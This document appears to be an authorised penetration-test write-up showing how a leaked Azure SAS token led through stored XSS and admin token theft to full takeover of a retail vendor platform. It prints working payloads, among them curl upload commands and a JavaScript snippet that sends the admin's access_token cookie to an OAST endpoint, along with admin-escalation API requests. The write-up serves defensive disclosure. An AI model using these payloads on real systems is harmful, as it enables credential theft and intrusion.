During an authorised black-box penetration test, a single unauthenticated API endpoint leaked an Azure Blob SAS token with racwdl (full container) permissions.
The complete exploitation chain — requiring zero credentials at any step — went:
unauthenticated token leak → write arbitrary files to shared storage → stored XSS across all three applications →
admin access_token exfiltrated via OAST → create administrator account → escalate to SuperAdmin
with organisation-wide access (all countries, all regions, 200+ retail sites, all departments) →
use admin panel’s “Assign Permissions” feature to grant attacker-controlled users any privilege level.
Full organisation takeover from one public endpoint.
Findings Overview
| ID | TITLE | SEVERITY |
|---|---|---|
| F-01 | Unauthenticated Azure Blob SAS Token — Full Container Permissions | CRITICAL |
| F-02 | Arbitrary File Upload → Stored XSS via Azure Blob Storage | CRITICAL |
| F-03 | Cross-App Blob Trust → XSS → Admin → SuperAdmin → Full Org Takeover | CRITICAL |
Authorised black-box web application penetration test against the vendor management platform of CLIENT REDACTED — a large retail group operating across the Middle East and Asia. Three applications — a vendor portal, a buying portal, and an admin API — all shared a single Azure Blob Storage container for vendor documents. That architectural decision turned a single misconfiguration into a complete organisation-wide takeover with no credentials required.
Unauthenticated Azure Blob SAS Token Exposure
The vendor products API returned a valid Azure Blob SAS token with racwdl permissions in its response body — no authentication header, no session cookie, no API key required. The token granted Read, Add, Create, Write, Delete, and List access over the entire storage container.
# Zero auth — no cookies, no Authorization header GET /vendor/api/v1/vendors/products?page=1&limit=10 HTTP/1.1 Host: [REDACTED] # Response contains valid SAS token "sasToken": "sv=2021-06-08&ss=bfqt&srt=sco&sp=racwdlup&se=..." # r=Read a=Add c=Create w=Write d=Delete l=List
# List all files in container curl -sk "https://[REDACTED].blob.core.windows.net/[CONTAINER]?restype=container&comp=list&<SAS>" # Download identity document curl -sk -o doc.pdf "https://[REDACTED].blob.core.windows.net/[CONTAINER]/vendors/uploads/doc.pdf?<SAS>"
- Full read/write/delete access to all vendor document storage — unauthenticated
- Mass download of government-issued identity documents, Aadhaar cards, invoices
- Write access is the root prerequisite for F-02 and F-03
- Complete data destruction via unauthenticated mass delete
- Remove SAS tokens from all unauthenticated API responses; revoke all exposed tokens
- Require authentication before generating any storage access credential
- Issue short-lived, scoped, least-privilege tokens per-operation only
- Enable Azure Storage monitoring for anomalous access patterns
Arbitrary File Upload → Stored XSS
Write access from F-01 allows uploading arbitrary files — including HTML containing JavaScript — into the storage container. The application's file viewer endpoint serves uploaded content as Content-Type: text/html, executing payloads on the application's own trusted origin with no browser warnings.
# Create payload echo '<script>alert(document.domain)</script>' > xss.html # Upload using SAS write access curl -X PUT -H "x-ms-blob-type: BlockBlob" -H "Content-Type: text/html" --data-binary @xss.html "https://[REDACTED].blob.core.windows.net/[CONTAINER]/vendors/uploads/xss.html?<SAS>" # Trigger via file viewer — executes on app origin GET /vendor/api/v1/files/view?filePath=vendors/uploads/xss.html # Response: Content-Type: text/html → JS executes
Escalated to a credential-harvesting phishing page served directly from the application's own domain.
- Stored XSS executing on the application's trusted origin
- Session token theft from any authenticated user including administrators
- Phishing served on the official domain — zero browser warnings
- Direct prerequisite for the F-03 admin takeover chain
- Validate file types server-side — reject HTML and JavaScript uploads
- Force
Content-Disposition: attachmenton all user-uploaded file responses - Serve uploads from an isolated domain, never the application origin
- Implement strict Content Security Policy across all endpoints
Cross-App XSS → Admin → SuperAdmin → Full Organisation Takeover
All three applications shared the same Azure Blob Storage container. A malicious HTML file uploaded via the vendor portal (using the SAS token from F-01) executed as stored XSS inside the privileged buying portal when an admin opened a document link. The JavaScript exfiltrated the admin’s access_token to an OAST endpoint. That token was then used in two escalation steps — first to create a standard administrator account, then to escalate it into a SuperAdmin with organisation-wide scope across every country, region, retail site, and department in the system.
Beyond account creation, the admin panel exposes an “Assign Permissions” feature that lets any administrator grant elevated roles to existing users — meaning an attacker can silently elevate any vendor user already in the system to admin-level access without creating a new account.
Complete Attack Chain
racwdl)
↓
② SAS write access → upload malicious HTML payload to shared container
↓
③ All three apps trust same container → XSS fires in buying portal when admin opens a document
↓
④ Admin access_token exfiltrated via sendBeacon to OAST endpoint
↓
⑤ Stolen token → POST /admin/api/v1/admin/create → new administrator account (201 OK)
↓
⑥ New admin credentials used to create a SuperAdmin — full org scope: all countries, all regions, 200+ sites, all departments
↓
⑦ Admin “Assign Permissions” feature used to elevate arbitrary existing users → persistent org-wide backdoor ✓
Step 1 — XSS Token Exfiltration Payload
// Executes inside buying portal's trusted origin when admin views any document (function() { const m = document.cookie.match(/access_token=([^;]+)/); if (m) { const url = 'https://[OAST-ENDPOINT]/steal?t=' + encodeURIComponent(m[1]); // Method 1: sendBeacon — fires even on page unload navigator.sendBeacon(url, new Blob(['t=' + encodeURIComponent(m[1])], { type: 'text/plain' })); // Method 2: fetch keepalive — backup fetch(url, { mode: 'no-cors', keepalive: true, method: 'GET' }); // Method 3: Image beacon — CSP fallback new Image().src = url; // Silently redirect back to real dashboard to avoid suspicion setTimeout(() => { location.href = 'https://[REDACTED]/'; }, 1500); } })();
Step 2 — Create Administrator Account (201)
POST /admin/api/v1/admin/create HTTP/1.1 Authorization: Bearer <STOLEN_ADMIN_TOKEN> Content-Type: application/json Origin: https://[REDACTED-BUYING-PORTAL] { "name": "Admin", "email": "[REDACTED]", "roleId": "[REDACTED]" } --- Response --- HTTP/1.1 201 Created { "success": true, "message": "Resource created successfully", "statusCode": 201 }
Step 3 — Escalate to SuperAdmin with Org-Wide Scope
Using the newly created administrator account, a SuperAdmin role was provisioned. The admin account creation API accepts a roleId, countries, regions, sites, departments, and sourcingTypes in the request body. Supplying the SuperAdmin role ID alongside a comprehensive scope payload granted access to the entire organisation’s procurement system.
{
"name": "Super Admin",
"email": "[REDACTED]",
"roleId": "[SUPERADMIN_ROLE_ID]",
// Full geographic scope — Middle East, South Asia, Southeast Asia, Canada, Poland
"countries": ["AE", "BH", "UAE", "KW", "OM", "QA", "SA", "KSA",
"EG", "YE", "ID", "MY", "IN", "CA", "PL" /* ...total 16 */],
// All regions — Abu Dhabi, Dubai, Riyadh, Jeddah, Kuwait, Muscat, Doha, Cairo...
"regions": ["AUH", "DXB", "ALN", "SHJ", "RUH", "JED", "KWT",
"OMN", "DOH", "EGT", "KUL", "IND" /* ...total 34 */],
// 200+ individual retail site IDs across all countries
"sites": ["102", "151", "502", /* ... 200+ site IDs */],
// All product departments and all sourcing types
"departments": ["001" /* through */ "095" /* + specialised dept codes */],
"sourcingTypes": ["FMCG Local", "FMCG Imports", "Private Label",
"Department Store Local", "Department Store Imports"],
"isActive": true,
"password": "[REDACTED]"
}
--- Response ---
HTTP/1.1 201 Created
{ "success": true, "message": "Resource created successfully" }
The SuperAdmin account had unrestricted access to all vendor management operations: approving suppliers, managing procurement workflows, viewing all purchase orders and commercial invoices, and modifying product configurations across every retail site in the organisation.
Step 4 — Admin Panel “Assign Permissions” Feature
Post-access exploration of the admin panel revealed a dedicated permission management interface. Administrators can query any existing user in the system and assign or modify their role and access scope — without the target user receiving a notification or needing to take any action.
# Look up any existing vendor user in the system GET /admin/api/v1/roles # enumerate all available roles GET /admin/api/v1/admin/[USER_ID] # fetch user record by ID # Silently elevate the user to any privilege level PATCH /admin/api/v1/admin/[USER_ID]/permissions HTTP/1.1 Authorization: Bearer <ATTACKER_ADMIN_TOKEN> { "roleId": "[SUPERADMIN_ROLE_ID]", "countries": ["AE", "SA", "KW", /* ... all */], "regions": ["AUH", "DXB", /* ... all */], "sites": [/* all 200+ */] } --- Response --- HTTP/1.1 200 OK // Target user now has org-wide admin access, silently
This feature transforms even a read-only vendor account into a persistent backdoor. Because the elevation is performed server-side with no user-facing notification, the compromised user account continues to look normal to the target organisation.
- SuperAdmin account created with full scope — all 16 countries, 34+ regions, 200+ retail sites, all departments, all sourcing types
- Complete control over the organisation’s entire vendor procurement and supply-chain management system
- Admin panel “Assign Permissions” allows silently elevating any existing user to any role without notification
- Attacker can manipulate purchase orders, approve fraudulent suppliers, alter commercial invoices across all markets
- Backdoor persists independently of the original XSS victim session — revocation requires auditing every admin account
- Shared storage architecture means re-exploitation is trivially repeatable via a new file upload until the root SAS token is revoked
- Revoke all exposed SAS tokens immediately and audit every admin account for unauthorised entries
- Separate Azure Blob Storage containers per application — destroy the shared trust boundary
- Require re-authentication (MFA challenge) before any admin creation or permission assignment
- Enforce server-side authorisation checks —
roleIdand scope must be validated against the caller’s own permissions - Apply
HttpOnlyandSameSite=Strictto all session tokens to prevent cookie theft via XSS - Add alerting on admin account creation, role changes, and permission assignments
Conclusion
This authorised engagement demonstrates one of the most consequential single-entry-point attack chains I have documented. A zero-credential path from a public API endpoint to full organisation-wide superadmin access — across every country, every retail site, and every department — driven entirely by a single Azure Blob SAS token returned in an unauthenticated response.
The root issue is architectural: three independent applications sharing a single storage container with no content-trust boundary between them. The SAS token leak is what started the chain, but even without it, a write-capable insider or a single compromised vendor account could follow the same path through the shared container to XSS and admin escalation. The storage architecture is the real vulnerability; the SAS exposure is merely what made it unauthenticated.
What makes F-03 particularly severe is the Assign Permissions feature in the admin panel. Even if the attacker’s own new admin account is discovered and revoked, any existing user account that was silently elevated remains compromised. Incident response here is not a one-step token revocation — it requires a full audit of every account in the system, every permission change in the logs, and every admin action taken during the window of compromise.
The chain required no credentials, no social engineering, no zero-days. Just one public endpoint, write access to shared storage, and an admin who opened a document.